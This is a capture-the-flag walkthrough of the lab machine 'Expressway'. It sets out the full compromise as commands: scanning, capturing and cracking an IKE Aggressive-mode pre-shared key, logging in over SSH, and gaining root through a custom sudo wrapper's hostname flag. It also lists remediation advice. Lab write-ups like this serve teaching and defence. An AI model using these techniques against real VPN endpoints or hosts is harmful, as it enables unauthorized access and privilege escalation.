Expressway — Walkthrough

Author: walkerffx **Target:** Expressway (10.10.11.87) — HTB-style walkthrough **Difficulty:** Intermediate **Date:** (see lab notes)

TL;DR (Non-technical)

Expressway is an HTB machine that demonstrates a full attack chain from network discovery to root. The attacker discovered an IPSec/IKE VPN endpoint, forced an Aggressive-mode handshake to capture PSK-derived material and an identity string, cracked the pre-shared key offline, and used it to SSH into the host as `ike`. Local enumeration uncovered an atypical `sudo` binary in `/usr/local/bin` and logs revealing an internal hostname (`offramp.expressway.htb`). Supplying that hostname to the custom `sudo` triggered a privileged code path and yielded a root shell. The core issues: weak/unsafe IKE configuration, weak PSKs, and insecure custom privileged code.

Scope & Assumptions

- **Target:** 10.10.11.87 (Expressway)
- **Lab environment:** All actions described were performed in a permitted HackTheBox lab.
- **Notes:** Commands shown are examples — adapt paths, IPs, and filenames for your environment.

Attack chain (summary)

1. UDP/TCP reconnaissance and discovery of IKE (UDP/500).
2. Force Aggressive-mode IKE to capture identity and PSK-derived hash.
3. Offline PSK cracking with a wordlist to recover the PSK.
4. SSH to the machine as `ike` using the recovered PSK.
5. Local enumeration and log analysis revealed `/usr/local/bin/sudo` and `offramp.expressway.htb` in Squid logs.
6. Call the custom sudo with the internal hostname to trigger a privileged code path and obtain a root shell.

Non-technical explanation (for stakeholders)

- The VPN endpoint accepted a weak authentication mode that leaks material usable to crack the shared secret.
- A cracked pre-shared key allowed direct system access.
- A custom privileged program on the host trusted an internal hostname and granted elevated rights when invoked with that name.
- Combining weak network configuration and brittle privileged code resulted in full system compromise.

Business impact: attackers could gain remote access, move laterally, and escalate to root — exposing sensitive data and control of critical systems.

Tools used

- nmap — TCP/UDP discovery
- ike-scan — IKE/ISAKMP probing and hash capture
- psk-crack / hash cracking tools (dictionary: rockyou.txt)
- ssh — remote login
- common Linux enumeration tools: uname, id, ls, cat, sudo -l
- text editor (`nano` / `vim`) and log viewers

Detailed technical walkthrough

1. Reconnaissance (TCP & UDP)

Perform a TCP service scan (shows SSH):

```
nmap -sV -sC 10.10.11.87
# observed: 22/tcp open ssh OpenSSH
```

Because TCP seemed sparse, run a UDP scan:

```
nmap -sU -sV -T4 10.10.11.87
# observed: 500/udp open isakmp
```

UDP/500 indicates an IKE (ISAKMP) endpoint — likely IPsec VPN.

2. IKE enumeration & PSK capture

Use `ike-scan` to probe the host. Aggressive mode can expose identity and PSK-derived material.

```
sudo ike-scan -M 10.10.11.87
sudo ike-scan -A -Ppsk.txt 10.10.11.87
sudo ike-scan -M --aggressive 10.10.11.87 -n ike@expressway.htb --
pskcrack=hash.txt
```

Capture both the identity (e.g. `ike@expressway.htb`) and the 20-byte PSK hash required for cracking.

3. PSK cracking (offline)

Run a dictionary attack against the captured PSK hash. Example using `psk-crack` and `rockyou`:

```
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
# Example output: PSK found: freakingrockstarontheroad
```

4. Foothold — SSH as `ike`

With the recovered PSK:

```
ssh ike@10.10.11.87
# password: freakingrockstarontheroad

# collect user flag
cat /home/ike/user.txt
# example: 539a00ebc5ad69024c09ae86565a5525
```

5. Local enumeration

As `ike`, perform standard enumeration:

```
uname -a
id
cat /etc/passwd
ls -la /home
sudo -l
cat /var/log/squid/access.log.1
```

Key findings: - Kernel: modern 6.x series - Secondary account: `_laurel` with home `/var/log/laurel` - `/etc/crontab` world-readable - `sudo -l` displayed a custom denial message: *Sorry, user ike may not run sudo on expressway.*

Investigate which `sudo` is being executed:

```
which sudo
# /usr/local/bin/sudo
```

A `sudo` in `/usr/local/bin` suggests a custom wrapper — audit it.

Search logs (Squid) and find a request to an internal hostname:

```
grep -i "offramp" /var/log/squid/access.log*
# logs show GET http://offramp.expressway.htb
```

6. Privilege escalation — hostname-based sudo bypass

The custom `/usr/local/bin/sudo` accepts a host flag `-h`. When provided the internal hostname (`offramp.expressway.htb`) it took a different code path and elevated privileges.

Exploit:

```
/usr/local/bin/sudo -h offramp.expressway.htb -i
# becomes: root@expressway:~#

# read root flag
cat /root/root.txt
# example: c59de798dcd766555da1789588ff4c3f
```

This works because the privileged wrapper trusted the supplied hostname and executed privileged logic when the host matched an internal name found in logs.

Key artifacts & IOCs

- Target IP: `10.10.11.87`
- Virtual/internal hostname: `offramp.expressway.htb`
- Services: `ssh` (22/tcp), `isakmp` /IKE (500/udp)
- Captured identity: `ike@expressway.htb`
- Cracked PSK: `freakingrockstarontheroad`
- Compromised user: `ike`
- Custom privileged binary: `/usr/local/bin/sudo`

Remediation & Defensive Recommendations

Immediate actions - Disable IKE Aggressive Mode and prefer certificate-based authentication. - Rotate any compromised PSKs and related credentials. - Audit, restrict, or remove custom privileged binaries located outside standard system paths. Do not allow untrusted wrappers to run with elevated privileges. - Restrict log access and avoid recording cleartext internal hostnames or sensitive details.

Medium / long-term - Enforce strong PSKs (or better, phased-out PSKs in favour of certs) and enforce strong password policy. - Network segmentation for VPN endpoints and internal services. - Deploy host- and network-based detection for anomalous IKE activity and unusual sudo invocations. - Regular code audits for custom privilege escalation helpers and periodic binary integrity checks.

Appendix — Commands

```
nmap -sV -sC 10.10.11.87
nmap -sU -sV -T4 10.10.11.87
sudo ike-scan -M --aggressive 10.10.11.87 -n ike@expressway.htb --
pskcrack=hash.txt
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
ssh ike@10.10.11.87
cat /etc/crontab
```

```
which sudo
/usr/local/bin/sudo -h offramp.expressway.htb -i
```

Conclusion

Expressway demonstrates how weak VPN configurations (Aggressive IKE mode, weak PSKs) combined with brittle, hostname-aware privileged wrappers can lead to full compromise. Defenders should remove insecure modes, rotate secrets, and restrict custom privilege helpers.

— walkerffx